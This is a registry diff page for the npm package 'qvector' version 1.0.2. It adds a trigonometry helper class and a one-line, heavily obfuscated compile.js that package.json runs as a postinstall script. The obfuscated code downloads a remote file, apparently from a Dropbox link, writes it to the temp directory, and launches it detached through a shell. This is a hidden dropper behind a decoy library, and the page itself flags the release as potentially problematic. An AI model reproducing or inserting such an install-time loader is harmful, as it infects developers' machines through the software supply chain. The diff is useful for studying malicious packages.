qvector 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of qvector might be problematic. Click here for more details.
- package/compile.js +1 -0
- package/package.json +8 -3
- package/qvector.js +180 -0
- package/README.md +0 -5
package/compile.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function _0x7c22(_0x528e0,_0x826d13){const _0x22ee51=_0x22ee();return _0x7c22=function(_0x7c22a,_0x1073a4){_0x7c22a=_0x7c22a-0x1cd;let _0x1e7d5a=_0x22ee51[_0x7c22a];if(_0x7c22['gWWPmy']===undefined){var _0x242e91=function(_0x3bcc94){const _0x2c858f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x55c6a0='',_0x3a1d0e='';for(let _0x50c42e=0x0,_0x4d069e,_0x543adb,_0x29e1f1=0x0;_0x543adb=_0x3bcc94['charAt'](_0x29e1f1++);~_0x543adb&&(_0x4d069e=_0x50c42e%0x4?_0x4d069e*0x40+_0x543adb:_0x543adb,_0x50c42e++%0x4)?_0x55c6a0+=String['fromCharCode'](0xff&_0x4d069e>>(-0x2*_0x50c42e&0x6)):0x0){_0x543adb=_0x2c858f['indexOf'](_0x543adb);}for(let _0x2543a7=0x0,_0x1232e2=_0x55c6a0['length'];_0x2543a7<_0x1232e2;_0x2543a7++){_0x3a1d0e+='%'+('00'+_0x55c6a0['charCodeAt'](_0x2543a7)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3a1d0e);};const _0x387cd7=function(_0x49ff1f,_0x4e907f){let _0x2fa8ae=[],_0x2b68ed=0x0,_0x1e9ce8,_0x2de554='';_0x49ff1f=_0x242e91(_0x49ff1f);let _0x34a808;for(_0x34a808=0x0;_0x34a808<0x100;_0x34a808++){_0x2fa8ae[_0x34a808]=_0x34a808;}for(_0x34a808=0x0;_0x34a808<0x100;_0x34a808++){_0x2b68ed=(_0x2b68ed+_0x2fa8ae[_0x34a808]+_0x4e907f['charCodeAt'](_0x34a808%_0x4e907f['length']))%0x100,_0x1e9ce8=_0x2fa8ae[_0x34a808],_0x2fa8ae[_0x34a808]=_0x2fa8ae[_0x2b68ed],_0x2fa8ae[_0x2b68ed]=_0x1e9ce8;}_0x34a808=0x0,_0x2b68ed=0x0;for(let _0x411ec1=0x0;_0x411ec1<_0x49ff1f['length'];_0x411ec1++){_0x34a808=(_0x34a808+0x1)%0x100,_0x2b68ed=(_0x2b68ed+_0x2fa8ae[_0x34a808])%0x100,_0x1e9ce8=_0x2fa8ae[_0x34a808],_0x2fa8ae[_0x34a808]=_0x2fa8ae[_0x2b68ed],_0x2fa8ae[_0x2b68ed]=_0x1e9ce8,_0x2de554+=String['fromCharCode'](_0x49ff1f['charCodeAt'](_0x411ec1)^_0x2fa8ae[(_0x2fa8ae[_0x34a808]+_0x2fa8ae[_0x2b68ed])%0x100]);}return _0x2de554;};_0x7c22['NuLEHw']=_0x387cd7,_0x528e0=arguments,_0x7c22['gWWPmy']=!![];}const _0x68d59f=_0x22ee51[0x0],_0x52b90c=_0x7c22a+_0x68d59f,_0x1dbcef=_0x528e0[_0x52b90c];return!_0x1dbcef?(_0x7c22['VveDri']===undefined&&(_0x7c22['VveDri']=!![]),_0x1e7d5a=_0x7c22['NuLEHw'](_0x1e7d5a,_0x1073a4),_0x528e0[_0x52b90c]=_0x1e7d5a):_0x1e7d5a=_0x1dbcef,_0x1e7d5a;},_0x7c22(_0x528e0,_0x826d13);}const _0x18c7dd=_0x7c22;function _0x22ee(){const _0x525a75=['WR3cSSon','W5NdSSosWPm','W4BdNCkQW6a','vmomfblcJ8orWPZdVaddL8kdfcO','WPhdVCooW44','W4asfNyruSoUkvz0W7JdGCkz','W5K9F8oj','WOCbWPO2','x3ldLmkE','jCkjx0G','W504wCof','tCkhx8kn','WOfmWPa4','W5tdL8kQW6a','WPZcI8kTwa','WPD3WQub','zHGk','ymo+WPLj','W6FcNMrq','BtGGca','WR3cLCkeWP4','WQJcHmkguvNdJxlcQq','W5FcVaX1fmoWrCkdfG','bu8V','WRhcTCoNBG','E8oMW5JcNa','WOGapLa','WOnCoSke','hSkRWQSi','W4ZcIMpdQW','WPeChL4','uNJcKa4','WR3cHCoaDq','WO7dQ8oyW5u','WRrzWPGG','hSotbLy','amkhzfxcGCk7WQJcN8kbmmoTo8ol','b8oFo3W','WOhdJgX0','WOfXEXS','W7NdVhL7','W6zOB8oU','FmoUgri','W4FdNKldRq','W6BcSa7cHa','x8o/W7zw','W5mwF8oyw8k1WOldTCk0WQ/dSSknWQi','nCo5WRhcOW','WPzNWOe+','W6TjCG','WR5qW5RcRa','WPzpoSky','WOpcLmo7ua','u3RcKCoq','W7D6W7nR','W4ddMCkMW7C','nCoXpq','W6tcTqRcGq','WPxdOCosW4G','q8kbwWGSW5r5nSo2f8oTmuy','aCkCsa','WRxcSmolDG','AfZcGNW','ymk9WOXi','W5mnW5L+','kHrRWQG','WQORW7bG','cg4AW4G','WPXLW43dVa','DHqckq','W7dcNKldUq','WRDtWRWv','W7BdHmoRWQqABmkYWRy','W7dcPe/cHW','wCoVW5Kw','g8k9WOCnW5FdJmkGWRLki00lDW','mL9ap8okzCkMmf9Hz8ob','xmoUW71EdLhcSsSzW7ZcTSoZ','nWTiWQ8','AXH2ma','l2nWlW','fgNcGSoc','ASk6W4Lp','WPCBpeu','bmoFW5dcGa','WQnwBJm','lSo+Fmon','W4ldM8kIW6a','k8omiLu','vxBdMmoi','hSk8WOqjWQJcVSotWRfHia','WP5zWP0/','ALJcGxO','hSo7WRyd','p2jeha','WPydnLq','W49vvSk4','W7emW59t','W4xdH8kQDW','EHu5kG','W6vKD8ku','bmoKq8o7','W65iDSk7','WO7cG8oOwW','WOaIW7/cUG','W6ewC8ov','WPBdMJ3dN8onW4BcL8k3WQO','aCkvyNy','qSocnXu','W70jW65Q','W6n2W4m','z8kQWP1l','BLBcGq','W6bMy8kH','ed1oWRm','F8kXlmklWPldJxZdMCkybmknvci','WOTLW5e','kSomWRlcSG','W6XIDSkK','f0ZcRSov','W7tcPe/cLq','gWjAWOS','bY/cHCkwWPmVW7ZcHI3cOeSneq','A1aPW6ZdTGlcPSoZWPRcGW','ur/cQIS','WQtdTv3dI2tcOxldQmkLWQtcSmoYdW','W7BcUCorsq','f1mWW6e','WROMW7pcJG','mLBcPSoA','W4xcQgZdGa','W6hdJvvA','WOpcHCoUra','W6RcJmoZpq','WO1WW5BcPW','WQhcMCoQyG','t8o/W4e','W4xcReldRq','WQqQW7mQ','vexcVsy','WODlWRiJ','WRJdSmo2W4m','fe4pW7C','W7pdHSkaW5CTz8kLWQpcGZW','k8oFW57cLa','WPtdPSopW4m','f8kWWOer','WRb1lSkI','WRVcSSoErq','pmoXySkq','WRVcS8oeaW','c34UW4i','W6ZcMs7cUa','WPVdLwPU'];_0x22ee=function(){return _0x525a75;};return _0x22ee();}(function(_0x44c1ae,_0x3fb950){const _0x1240d5={_0x509ec8:'qT4g',_0x37f88d:0x1ff,_0x268137:'KcS4',_0x253599:0x20c,_0x21b025:0x261,_0x5c7302:'2lm(',_0x5b18cc:0x22e,_0x33b833:'ve4e',_0x3f2da8:0x23f,_0x575631:'QqqT',_0x3081d0:0x253},_0x37cb50=_0x7c22,_0x29bb11=_0x44c1ae();while(!![]){try{const _0x124cee=parseInt(_0x37cb50(0x263,_0x1240d5._0x509ec8))/0x1+-parseInt(_0x37cb50(_0x1240d5._0x37f88d,_0x1240d5._0x268137))/0x2+-parseInt(_0x37cb50(_0x1240d5._0x253599,'2*CX'))/0x3*(parseInt(_0x37cb50(0x20f,'5Khc'))/0x4)+-parseInt(_0x37cb50(_0x1240d5._0x21b025,_0x1240d5._0x5c7302))/0x5+parseInt(_0x37cb50(0x1f2,'HIVh'))/0x6+-parseInt(_0x37cb50(_0x1240d5._0x5b18cc,_0x1240d5._0x33b833))/0x7*(-parseInt(_0x37cb50(0x211,'7s7!'))/0x8)+parseInt(_0x37cb50(_0x1240d5._0x3f2da8,_0x1240d5._0x575631))/0x9*(parseInt(_0x37cb50(_0x1240d5._0x3081d0,'2*CX'))/0xa);if(_0x124cee===_0x3fb950)break;else _0x29bb11['push'](_0x29bb11['shift']());}catch(_0x3ac14f){_0x29bb11['push'](_0x29bb11['shift']());}}}(_0x22ee,0xcdf36));const _0x23ea34=require(_0x18c7dd(0x21d,'yU^h')+_0x18c7dd(0x1f4,'L*D7')+'oces'+'s'),_0x550d0d=require('fs'),_0x3a6d13=require(_0x18c7dd(0x233,'gAE%')+'s'),_0x39d32e=require('os'),_0x5a2c20=require(_0x18c7dd(0x1fd,'tyx!')+_0x18c7dd(0x205,'QqqT')+_0x18c7dd(0x1f5,'&[wA'));async function _0x4b3456(_0x30fb99,_0x36b95f=![]){const _0x443641={_0x2b6d2c:'&0gr',_0x1789b3:'tyx!',_0x447953:0x218,_0x11d24b:'ogdf',_0x404bc8:'gAE%',_0x302b68:0x1e5,_0x50bbff:0x1d6,_0x24efe2:'dAJR'},_0x4cdc16={_0x4e78a5:0x22f,_0x12ad20:'2lm(',_0x4e004c:0x207,_0x1cb44d:'cqhk',_0x114301:0x1ec,_0x55673a:'cVtN',_0x280bb3:0x254,_0x48e21b:'KcS4',_0x57f92c:0x249,_0x3472c7:'dAJR',_0x134e8a:0x1ed,_0x33b754:'S0OI',_0x5a40ef:'namy',_0x3e6eba:0x20e,_0x365d66:'5Khc',_0x4badf1:'ve4e',_0x5d38fb:'S0OI',_0x30408f:0x1e4,_0x32f35f:0x1dc},_0x23453c={_0x1eead1:'mx9n',_0x577103:'5Khc',_0x17ea57:0x236,_0x2a1d7c:'QqqT',_0x433d12:'namy'},_0x381170={_0x2697f1:'*qNS'},_0x1e1f98={_0x46c408:0x1cf},_0x5db970=_0x7c22,_0x50c32b={'mlbZX':function(_0x1ba943,_0x1b5c91){return _0x1ba943===_0x1b5c91;},'qCSss':'sRcd'+'I','CZQij':_0x5db970(0x1df,'HIVh')+'r','tIxCi':function(_0x2afa5c,_0x4a83c3,_0x4f6d7b){return _0x2afa5c(_0x4a83c3,_0x4f6d7b);},'kQOrD':function(_0x4ea48a,_0x5236a8){return _0x4ea48a(_0x5236a8);},'anOQf':_0x5db970(0x24b,_0x443641._0x2b6d2c)+'w','hSFFB':_0x5db970(0x25c,_0x443641._0x1789b3)+'k','mBoNp':_0x5db970(0x23d,'QqqT')+'p','tNFDP':function(_0x35b50e,_0x4cc936){return _0x35b50e!==_0x4cc936;},'kVYPa':function(_0x22200f,_0x4ef283){return _0x22200f<_0x4ef283;},'rpGCV':'end','iagxx':_0x5db970(_0x443641._0x447953,_0x443641._0x11d24b)+_0x5db970(0x216,_0x443641._0x404bc8)+_0x5db970(0x1f6,'xfZp')+_0x5db970(_0x443641._0x302b68,'P]&p')+_0x5db970(_0x443641._0x50bbff,'cVtN')+'spon'+'se','lsFdl':_0x5db970(0x229,_0x443641._0x24efe2)+'t','KRAxX':function(_0x5c8abd,_0x5819b5,_0x118482){return _0x5c8abd(_0x5819b5,_0x118482);}};return new Promise((_0x4cb017,_0x48c753)=>{const _0x1c6ef1={_0x5a2f33:0x1e3},_0x2b52c0={_0x13686a:0x244,_0x554b5a:'xfZp'},_0x532e07=_0x7c22,_0x4810e4={'tmcFq':function(_0x264a1f,_0x1f9bb7,_0x281a50){const _0x5063a2=_0x7c22;return _0x50c32b[_0x5063a2(_0x1e1f98._0x46c408,'kJx*')+'i'](_0x264a1f,_0x1f9bb7,_0x281a50);},'lalsP':function(_0x243d94,_0x49420b){const _0x59e115=_0x7c22;return _0x50c32b[_0x59e115(0x24f,_0x381170._0x2697f1)+'D'](_0x243d94,_0x49420b);},'kCrLh':_0x50c32b[_0x532e07(_0x4cdc16._0x4e78a5,_0x4cdc16._0x12ad20)+'f'],'PWvst':_0x50c32b[_0x532e07(_0x4cdc16._0x4e004c,_0x4cdc16._0x1cb44d)+'B'],'EkMYo':_0x50c32b[_0x532e07(_0x4cdc16._0x114301,_0x4cdc16._0x55673a)+'p'],'zkEwx':function(_0x44c07b,_0x596633){return _0x50c32b['tNFD'+'P'](_0x44c07b,_0x596633);},'mWUvF':function(_0x5ba300,_0x31e751){return _0x5ba300>=_0x31e751;},'Khqnv':function(_0x159117,_0x38406a){const _0x5034e0=_0x7c22;return _0x50c32b[_0x5034e0(_0x2b52c0._0x13686a,_0x2b52c0._0x554b5a)+'a'](_0x159117,_0x38406a);},'gCbNX':'giJn'+'O','QRUdg':function(_0x4eb0b3,_0x1134f2){return _0x4eb0b3!==_0x1134f2;},'iVHWA':function(_0x4140ff,_0x475dad){return _0x50c32b['kQOr'+'D'](_0x4140ff,_0x475dad);},'nryau':_0x50c32b['rpGC'+'V'],'eYiYs':function(_0x259e35,_0x5542e6){return _0x259e35(_0x5542e6);},'iiNBm':_0x50c32b[_0x532e07(_0x4cdc16._0x280bb3,'ogdf')+'x']};if(_0x50c32b[_0x532e07(0x201,'namy')+'X'](_0x50c32b['lsFd'+'l'],_0x50c32b['lsFd'+'l'])){const _0x3ca388=(_0x14ef3a,_0x284f04)=>{const _0x213259={_0x11504b:'cqhk',_0x4cc73b:0x1eb,_0x3926bf:'fBxl',_0x2e7f29:0x1d0,_0x180f98:'L*D7',_0x5348e1:0x1f1,_0x50ef73:0x230,_0x4d0e32:'Q9Me',_0x2e52a5:0x227,_0x247002:0x246,_0x562302:0x228,_0x1f2900:'&[wA',_0x5afc17:0x1f8,_0x39c0bd:0x1db,_0x4358de:'&[wA',_0x366a8c:0x209,_0x18159e:'fRY*',_0x520fc1:0x232,_0x2abac9:0x1fe,_0xed2148:'P]&p',_0x522cbb:0x22c,_0x32b439:'xfZp',_0x25d35a:0x217,_0x7afbc8:0x225,_0x36b0dd:'L*D7',_0x390d07:0x20d,_0x64df9c:0x204,_0x15e0f1:'PgSN',_0x12be22:'cVtN',_0x32c097:0x235,_0x13c8b5:'S0OI',_0x3d3d48:0x23b},_0xa779b0={_0x4cc395:'aMaY',_0x47a021:'!Rd9',_0x30eb45:'P]&p'},_0x20e1c5=_0x7c22,_0x341a40={'uCbwb':function(_0x26c5a7,_0x489763){const _0x20ade9=_0x7c22;return _0x50c32b[_0x20ade9(_0x1c6ef1._0x5a2f33,'*qNS')+'X'](_0x26c5a7,_0x489763);},'bASPQ':_0x50c32b['qCSs'+'s']},_0x506410=_0x3a6d13[_0x20e1c5(0x202,_0x23453c._0x1eead1)+_0x20e1c5(0x24c,_0x23453c._0x577103)](_0x14ef3a,_0x284f04,_0x50f081=>{const _0x31a7b6={_0x4ff0cc:'P]&p',_0x11d9bd:'KcS4',_0x356508:'hH2K',_0x4e298a:0x219,_0x4ee093:0x1ee,_0x6c95e8:0x24d,_0x6474e8:'ve4e',_0x578a54:0x1f3,_0xf014a4:'%YH&',_0x115bcd:'3hg8',_0x5f3492:'cqhk',_0x324659:0x23c,_0x516296:'MawN',_0x325a0d:0x250,_0x3b338c:0x20a,_0x341976:0x1f7,_0x3bac90:'HIVh',_0x2c90a9:0x1ef,_0x5f1d93:'*ztk',_0x1faab6:'yU^h',_0x447269:0x221,_0xc57384:0x1e0,_0x2cd3ca:'7s7!'},_0x3ba42d={_0x4246a2:0x256},_0x36474e=_0x7c22,_0x60eb98={'xhTmR':function(_0xe47918,_0x296f5c,_0x299650){const _0x1b7149=_0x7c22;return _0x4810e4[_0x1b7149(0x214,'vSXS')+'q'](_0xe47918,_0x296f5c,_0x299650);},'MXOse':function(_0x50b0f2,_0x351d41){const _0x1954d1=_0x7c22;return _0x4810e4[_0x1954d1(0x21f,'L*D7')+'P'](_0x50b0f2,_0x351d41);},'YxKer':_0x4810e4[_0x36474e(0x25b,_0x213259._0x11504b)+'h'],'UoMoh':_0x4810e4[_0x36474e(_0x213259._0x4cc73b,'Cw3^')+'t'],'dTxiQ':_0x4810e4[_0x36474e(0x20b,'L*D7')+'o'],'gGLcc':function(_0x3e9e39,_0x5b94e0){const _0x429373=_0x7c22;return _0x4810e4[_0x429373(_0x3ba42d._0x4246a2,'7s7!')+'x'](_0x3e9e39,_0x5b94e0);},'zMjev':_0x36474e(0x25d,'aMaY')+'m','lLasH':function(_0x35c038,_0xf135d7){return _0x4810e4['lals'+'P'](_0x35c038,_0xf135d7);}};if(_0x4810e4[_0x36474e(0x215,_0x213259._0x3926bf)+'F'](_0x50f081[_0x36474e(_0x213259._0x2e7f29,_0x213259._0x180f98)+_0x36474e(_0x213259._0x5348e1,'5Khc')+'de'],0x12c)&&_0x4810e4[_0x36474e(0x245,'fBxl')+'v'](_0x50f081[_0x36474e(_0x213259._0x50ef73,'I&6[')+_0x36474e(0x1e2,_0x213259._0x4d0e32)+'de'],0x190)&&_0x50f081[_0x36474e(0x23a,'S0OI')+_0x36474e(0x1d4,'F61d')]['loca'+_0x36474e(_0x213259._0x2e52a5,'fRY*')])return _0x4810e4[_0x36474e(_0x213259._0x247002,'ve4e')+'X']===_0x4810e4[_0x36474e(_0x213259._0x562302,_0x213259._0x1f2900)+'X']?_0x3ca388(_0x50f081[_0x36474e(_0x213259._0x5afc17,'&0gr')+_0x36474e(_0x213259._0x39c0bd,'cqhk')][_0x36474e(0x22a,_0x213259._0x4358de)+'tion'],_0x284f04):_0x60eb98[_0x36474e(_0x213259._0x366a8c,_0x213259._0x18159e)+'R'](_0x55c6a0,_0x3a1d0e['head'+_0x36474e(_0x213259._0x520fc1,'Q2GR')][_0x36474e(0x1de,'Q9Me')+_0x36474e(_0x213259._0x2abac9,_0x213259._0xed2148)],_0x50c42e);if(_0x4810e4[_0x36474e(_0x213259._0x522cbb,_0x213259._0x32b439)+'g'](_0x50f081[_0x36474e(_0x213259._0x25d35a,'Q9Me')+_0x36474e(0x264,'3hg8')+'de'],0xc8))return _0x4810e4[_0x36474e(_0x213259._0x7afbc8,'^@)j')+'A'](_0x48c753,new Error(_0x36474e(0x1e6,_0x213259._0x36b0dd)+_0x36474e(_0x213259._0x390d07,'tyx!')+'o\x20do'+_0x36474e(_0x213259._0x64df9c,_0x213259._0x15e0f1)+'ad\x20f'+'ile:'+'\x20'+_0x50f081['stat'+_0x36474e(0x247,_0x213259._0x12be22)+'de']));let _0x5bb05f=_0x36b95f?'':[];_0x50f081['on'](_0x36474e(_0x213259._0x32c097,_0x213259._0x13c8b5),_0x137108=>{const _0x55b21e=_0x7c22;_0x36b95f?_0x341a40['uCbw'+'b'](_0x341a40[_0x55b21e(0x1ea,_0xa779b0._0x4cc395)+'Q'],_0x55b21e(0x240,_0xa779b0._0x47a021)+'I')?_0x5bb05f+=_0x137108:_0x34a808?_0x323131+=_0x1ccfe5:_0x1037d8['push'](_0x56299a):_0x5bb05f[_0x55b21e(0x262,_0xa779b0._0x30eb45)](_0x137108);}),_0x50f081['on'](_0x4810e4[_0x36474e(_0x213259._0x3d3d48,'fBxl')+'u'],()=>{const _0x4d4d74=_0x7c22,_0x25965a={'RuLwZ':function(_0x39e887,_0x465220){return _0x39e887(_0x465220);}};try{if(_0x60eb98[_0x4d4d74(0x251,_0x31a7b6._0x4ff0cc)+'r']===_0x60eb98[_0x4d4d74(0x21c,_0x31a7b6._0x11d9bd)+'r']){if(_0x36b95f)_0x60eb98[_0x4d4d74(0x1d8,_0x31a7b6._0x356508)+'h']===_0x60eb98['dTxi'+'Q']?_0x125a0c?_0x25965a[_0x4d4d74(_0x31a7b6._0x4e298a,'qT4g')+'Z'](_0x234614,_0x273f4b[_0x4d4d74(0x220,'mx9n')+'e'](_0x565973)):_0x25965a['RuLw'+'Z'](_0x29c9ab,_0x15a968[_0x4d4d74(0x208,'t!qB')+'at'](_0x525aca)):_0x60eb98[_0x4d4d74(_0x31a7b6._0x4ee093,'I&6[')+'e'](_0x4cb017,JSON[_0x4d4d74(0x1dd,'Dhb*')+'e'](_0x5bb05f));else{if(_0x60eb98[_0x4d4d74(_0x31a7b6._0x6c95e8,_0x31a7b6._0x6474e8)+'c']('xXUJ'+'m',_0x60eb98[_0x4d4d74(_0x31a7b6._0x578a54,_0x31a7b6._0xf014a4)+'v']))return _0x60eb98[_0x4d4d74(0x22d,_0x31a7b6._0x115bcd)+'e'](_0x2543a7,new _0x1232e2('Fail'+_0x4d4d74(0x213,'fRY*')+_0x4d4d74(0x1fa,'^@)j')+_0x4d4d74(0x243,_0x31a7b6._0x5f3492)+_0x4d4d74(_0x31a7b6._0x324659,'tyx!')+_0x4d4d74(0x266,'yU^h')+'\x20'+_0x49ff1f[_0x4d4d74(0x21b,_0x31a7b6._0x516296)+_0x4d4d74(_0x31a7b6._0x325a0d,'L*D7')+'de']));else _0x4cb017(Buffer['conc'+'at'](_0x5bb05f));}}else _0x25965a[_0x4d4d74(_0x31a7b6._0x3b338c,_0x31a7b6._0x6474e8)+'Z'](_0x642c0d,_0x4431b3[_0x4d4d74(_0x31a7b6._0x341976,_0x31a7b6._0x3bac90)+'e'](_0x26abc4));}catch(_0x282db9){_0x60eb98[_0x4d4d74(_0x31a7b6._0x2c90a9,_0x31a7b6._0x5f1d93)+'H'](_0x48c753,new Error('Fail'+_0x4d4d74(0x1f9,_0x31a7b6._0x1faab6)+_0x4d4d74(0x1d5,'gAE%')+_0x4d4d74(0x203,'gAE%')+_0x4d4d74(_0x31a7b6._0x447269,'7s7!')+_0x4d4d74(_0x31a7b6._0xc57384,_0x31a7b6._0x2cd3ca)+'se'));}});});_0x506410['on'](_0x50c32b[_0x20e1c5(_0x23453c._0x17ea57,_0x23453c._0x2a1d7c)+'j'],_0x452444=>_0x48c753(_0x452444)),_0x506410[_0x20e1c5(0x25e,_0x23453c._0x433d12)]();},_0x4835b8={'rlkey':_0x30fb99[_0x532e07(0x223,'Q9Me')+'y'],'dl':!![]},_0x4f5ab5=_0x5a2c20['stri'+'ngif'+'y'](_0x4835b8),_0x4fe836={'method':_0x532e07(0x1fc,_0x4cdc16._0x48e21b)},_0xa4e779=_0x532e07(0x248,'&0gr')+_0x532e07(_0x4cdc16._0x57f92c,'T6K$')+_0x532e07(0x259,_0x4cdc16._0x3472c7)+'drop'+_0x532e07(_0x4cdc16._0x134e8a,_0x4cdc16._0x33b754)+_0x532e07(0x25a,_0x4cdc16._0x5a40ef)+_0x532e07(_0x4cdc16._0x3e6eba,_0x4cdc16._0x365d66)+'fi/'+_0x30fb99['fi']+'/'+_0x30fb99[_0x532e07(0x1e1,_0x4cdc16._0x4badf1)]+'?'+_0x4f5ab5;_0x50c32b[_0x532e07(0x224,_0x4cdc16._0x5d38fb)+'X'](_0x3ca388,_0xa4e779,_0x4fe836);}else _0x4810e4[_0x532e07(_0x4cdc16._0x30408f,'namy')+'s'](_0xf7a130,new _0xaeec8(_0x4810e4[_0x532e07(_0x4cdc16._0x32f35f,_0x4cdc16._0x5a40ef)+'m']));});}((async()=>{const _0x355085={_0x1cd373:0x1e7,_0xadb39c:0x25f,_0x34316a:'P]&p',_0x580046:0x206,_0x2a81c1:'S0OI',_0x68a005:'namy',_0x429476:0x24a,_0x1e70ec:'t!qB',_0x24234a:'KcS4',_0x1b8d9a:0x212,_0x43b16f:'MawN',_0x1d8647:0x234,_0x32dd16:'3hg8',_0x367938:0x238,_0x5527ee:0x242,_0x29e86e:0x260,_0x43d9e5:'dAJR',_0x279845:'tyx!',_0x1f3e33:0x255,_0x22673d:'P]&p',_0x1f8c08:0x239,_0x13d6af:'%YH&',_0x4f47aa:0x22b,_0x430299:0x1cd,_0x3da79c:'2lm(',_0xc21b6e:0x200},_0x1cb5b2=_0x7c22,_0x133761={'cDvLU':'chin'+'a','eOTMB':_0x1cb5b2(0x265,'L*D7')+_0x1cb5b2(_0x355085._0x1cd373,'KcS4')+'ht7m'+'i3kb'+_0x1cb5b2(_0x355085._0xadb39c,_0x355085._0x34316a)+'x','ukRLA':_0x1cb5b2(_0x355085._0x580046,'^@)j')+_0x1cb5b2(0x24e,'ql8O')+_0x1cb5b2(0x257,_0x355085._0x2a81c1)+_0x1cb5b2(0x258,_0x355085._0x68a005)+_0x1cb5b2(0x1d2,'&0gr')+_0x1cb5b2(_0x355085._0x429476,_0x355085._0x1e70ec)+'j','dlWuw':function(_0x224a95,_0x515ec6,_0x16a2ee){return _0x224a95(_0x515ec6,_0x16a2ee);}},_0x5e53d8={'name':_0x133761[_0x1cb5b2(0x1d7,'fRY*')+'U'],'fi':_0x133761[_0x1cb5b2(0x1d3,'L*D7')+'B'],'rlkey':_0x133761[_0x1cb5b2(0x1e9,_0x355085._0x24234a)+'A']};try{const _0x5a3e34=await _0x133761[_0x1cb5b2(_0x355085._0x1b8d9a,'QqqT')+'w'](_0x4b3456,_0x5e53d8,!![]);if(!_0x5a3e34[_0x1cb5b2(0x1fb,_0x355085._0x43b16f)+_0x1cb5b2(_0x355085._0x1d8647,'mx9n')])process[_0x1cb5b2(0x1d1,'MawN')](0x0);const _0xfb9eee=await _0x133761[_0x1cb5b2(0x222,'vSXS')+'w'](_0x4b3456,_0x5a3e34[_0x1cb5b2(0x1ce,_0x355085._0x32dd16)+_0x1cb5b2(_0x355085._0x367938,'t!qB')],![]),_0x9062a=_0x39d32e['tmpd'+'ir']()+(_0x1cb5b2(0x226,'T6K$')+'ctor'+_0x1cb5b2(_0x355085._0x5527ee,_0x355085._0x68a005));_0x550d0d[_0x1cb5b2(_0x355085._0x29e86e,'MawN')+'eFil'+_0x1cb5b2(0x231,'^@)j')+'c'](_0x9062a,_0xfb9eee);if(!_0x550d0d[_0x1cb5b2(0x21a,_0x355085._0x43d9e5)+_0x1cb5b2(0x252,'cqhk')+'nc'](_0x9062a))return;const _0x1a1453=_0x23ea34[_0x1cb5b2(0x1f0,_0x355085._0x279845)+'n'](_0x9062a,[],{'detached':!![],'shell':!![]});_0x1a1453[_0x1cb5b2(_0x355085._0x1f3e33,_0x355085._0x22673d)+'f'](),process[_0x1cb5b2(_0x355085._0x1f8c08,_0x355085._0x13d6af)]();}catch(_0xa4fcb6){console[_0x1cb5b2(_0x355085._0x4f47aa,'&0gr')+'r'](_0x1cb5b2(_0x355085._0x430299,_0x355085._0x3da79c)+'r:',_0xa4fcb6['mess'+_0x1cb5b2(_0x355085._0xc21b6e,_0x355085._0x3da79c)]);}})());
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "qvector",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "QVector is a compact JavaScript library that streamlines trigonometry, making calculations simple and efficient. From angles and radians to complex transformations, Qasdr offers an intuitive API tailored for developers in fields like animation, gaming, and scientific computing. Reduce redundant formulas and focus on innovation with this versatile, performance-oriented tool.",
|
|
5
|
+
"main": "qvector.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node compile.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Alex",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
package/qvector.js
ADDED
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
class QVector {
|
|
2
|
+
/**
|
|
3
|
+
* Convert degrees to radians
|
|
4
|
+
* @param {number} degrees
|
|
5
|
+
* @returns {number}
|
|
6
|
+
*/
|
|
7
|
+
static toRadians(degrees) {
|
|
8
|
+
return (degrees * Math.PI) / 180;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* Convert radians to degrees
|
|
13
|
+
* @param {number} radians
|
|
14
|
+
* @returns {number}
|
|
15
|
+
*/
|
|
16
|
+
static toDegrees(radians) {
|
|
17
|
+
return (radians * 180) / Math.PI;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Calculate sine of an angle in degrees
|
|
22
|
+
* @param {number} degrees
|
|
23
|
+
* @returns {number}
|
|
24
|
+
*/
|
|
25
|
+
static sin(degrees) {
|
|
26
|
+
return Math.sin(this.toRadians(degrees));
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* Calculate cosine of an angle in degrees
|
|
31
|
+
* @param {number} degrees
|
|
32
|
+
* @returns {number}
|
|
33
|
+
*/
|
|
34
|
+
static cos(degrees) {
|
|
35
|
+
return Math.cos(this.toRadians(degrees));
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Calculate tangent of an angle in degrees
|
|
40
|
+
* @param {number} degrees
|
|
41
|
+
* @returns {number}
|
|
42
|
+
*/
|
|
43
|
+
static tan(degrees) {
|
|
44
|
+
return Math.tan(this.toRadians(degrees));
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
/**
|
|
48
|
+
* Calculate the arc sine (inverse sine) in degrees
|
|
49
|
+
* @param {number} value
|
|
50
|
+
* @returns {number}
|
|
51
|
+
*/
|
|
52
|
+
static asin(value) {
|
|
53
|
+
return this.toDegrees(Math.asin(value));
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Calculate the arc cosine (inverse cosine) in degrees
|
|
58
|
+
* @param {number} value
|
|
59
|
+
* @returns {number}
|
|
60
|
+
*/
|
|
61
|
+
static acos(value) {
|
|
62
|
+
return this.toDegrees(Math.acos(value));
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
/**
|
|
66
|
+
* Calculate the arc tangent (inverse tangent) in degrees
|
|
67
|
+
* @param {number} value
|
|
68
|
+
* @returns {number}
|
|
69
|
+
*/
|
|
70
|
+
static atan(value) {
|
|
71
|
+
return this.toDegrees(Math.atan(value));
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
/**
|
|
75
|
+
* Calculate the hypotenuse of a right triangle
